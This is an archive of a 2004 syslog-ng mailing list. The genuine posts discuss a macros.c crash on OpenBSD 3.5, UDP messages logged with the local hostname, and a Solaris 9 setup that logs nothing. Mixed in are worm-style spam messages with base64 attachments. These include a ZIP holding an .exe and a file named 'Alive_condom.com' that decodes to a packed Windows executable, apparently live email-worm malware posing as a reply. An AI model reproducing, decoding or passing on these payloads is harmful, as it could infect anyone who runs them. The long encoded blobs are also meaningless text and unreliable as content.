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 b2oAAAAA ----------zabepsllnpmxcdmofahj-- From syslog-ng@lists.balabit.hu Tue May 25 13:59:31 2004 From: syslog-ng@lists.balabit.hu (Steven S.) Date: Tue, 25 May 2004 08:59:31 -0400 Subject: [syslog-ng]Error compiling 1.6.4 on OpenBSD 3.5-stable In-Reply-To: <003601c43edc$d8fef010$2353a8c0@klap02> Message-ID: <004f01c44258$1fb976a0$2353a8c0@klap02> Answering my own question... I cleaned up my syslog-ng.conf file and these issues went away. It now seems to be working with OpenBSD 3.5, (with the exception of the UDP = logging hostname.) -Steve S. Steven S. wrote: > Steven S. wrote: > Something still seems not quite right in macros.c. >=20 > "Syslog-ng -F" core dumps after doing: >=20 > 28992 syslog-ng CALL getpid > 28992 syslog-ng RET getpid 28992/0x7140 > 28992 syslog-ng CALL gettimeofday(0xffffffffff7fed10,0) > 28992 syslog-ng RET gettimeofday 0 >=20 > Over and over again. "Syslog-ng -d" works fine and "syslog-ng" just > dies.=20 >=20 > Any thoughts on where I could look? Thanks. >=20 > -Steve S. >=20 >=20 >=20 >> root@logger01 [/root]# gdb /usr/local/sbin/syslog-ng syslog-ng.core >> GNU gdb 4.16.1 Copyright 1996 Free Software Foundation, Inc. GDB is >> free software, covered by the GNU General Public License, and you are >> welcome to change it and/or distribute copies of it under certain >> conditions. Type "show copying" to see the conditions. There is >> absolutely no warranty for GDB. Type "show warranty" for details. >> This GDB was configured as "sparc64-unknown-openbsd3.5"... Core was >> generated by `syslog-ng'. Program terminated with signal 11, >> Segmentation fault. Couldn't read input and local registers from core >> file Couldn't read input and local registers from core file #0 >> 0x114d48 in werror () at macros.c:104 104 return l; (gdb) >>=20 >> And here is an obnoxiously long ktrace output when running with no >> flags...=20 >>=20 From syslog-ng@lists.balabit.hu Tue May 25 17:23:16 2004 From: syslog-ng@lists.balabit.hu (Steven S.) Date: Tue, 25 May 2004 12:23:16 -0400 Subject: [syslog-ng]UDP messages logged with localhost In-Reply-To: <002501c43ed4$9a2dfaf0$2353a8c0@klap02> Message-ID: <006f01c44274$95ed1a40$2353a8c0@klap02> A bit of tracing shows the results of get_source_hostname is NULL. I = assume this contributes to syslog-ng putting logger01 (the logging host) back = in as the name of the source host. =20 Can anyone confirm they have UDP logging with source hosts working in = 1.6.4? Thanks as I'm a bit stuck. -Steve S. Steven S. wrote: >=20 > When logging udp message the "host" tag is being listed as local host > and the time is incorrect. Here is a sample of two different syslog > runs. One with syslog-ng 1.6.4 and one with the native OpenBSD 3.5 > syslogd. The host "logger01" is the name of the localhost, not a > reverse of 172.16.10.20. Also these runs were taken seconds apart yet > the timestamps are 11 hours apart. =20 >=20 > Any insight would be appreciated. >=20 > ...running syslog-ng > May 19 00:35:29 logger01 %PIX-4-106023: Deny udp src > outside:4.4.6.15/57112 dst inside:10.1.2.16/514 by access-group > "outside_access_in" =20 > May 19 00:36:29 logger01 %PIX-4-106023: Deny udp src > outside:4.4.6.15/57112=20 > dst inside:10.1.2.16/514 by access-group "outside_access_in" ... From syslog-ng@lists.balabit.hu Wed May 26 21:58:18 2004 From: syslog-ng@lists.balabit.hu (Oscar Knight) Date: Wed, 26 May 2004 16:58:18 -0400 (EDT) Subject: [syslog-ng]solaris 9 problem, no logging Message-ID: Hello All, Running Solaris 9. I installed syslog-ng. I kill solaris syslogd and then start syslog-ng. I get nothing. I even tried "syslog-ng -d -d" It says it started, nothing else. I use logger to test, nothing. Any suggestions? Some details: I've installed syslog-ng from sunfreeware.com packages: libol-0.3.13-sol9-sparc-local.gz syslogng-1.6.4-sol9-sparc-local.gz /etc/syslog-ng/syslog-ng.conf: # # Syslog-ng example configuration file for Solaris # # Copyright (c) 1999 Balazs Scheidler # $Id: syslog-ng.conf.solaris,v 1.2 1999/11/15 12:30:41 bazsi Exp $ # # Solaris 2.5.1 and below uses the STREAMS driver, above extends it # with doors. For 2.5.1 remove the door() option from the source declaration. # source local { sun-streams("/dev/log" door("/etc/.syslog_door")); internal(); }; #destination all { file("/var/log/messages"); }; destination all { file("/var/log/syslog"); }; log { source(local); destination(all); }; Thanks in advance, odk -- Oscar D. Knight knightod at appstate dot edu Voice: 828-262-6946 Appalachian State University, Boone, NC 28608 FAX: 828-262-2236 From syslog-ng@lists.balabit.hu Thu May 27 03:46:57 2004 From: syslog-ng@lists.balabit.hu (Kaans) Date: Thu, 27 May 2004 08:16:57 +0530 Subject: [syslog-ng]Re: Msg reply Message-ID: ----------swtfgorzktmqwuonwuyw Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------swtfgorzktmqwuonwuyw Content-Type: application/octet-stream; name="Alive_condom.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Alive_condom.com" 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 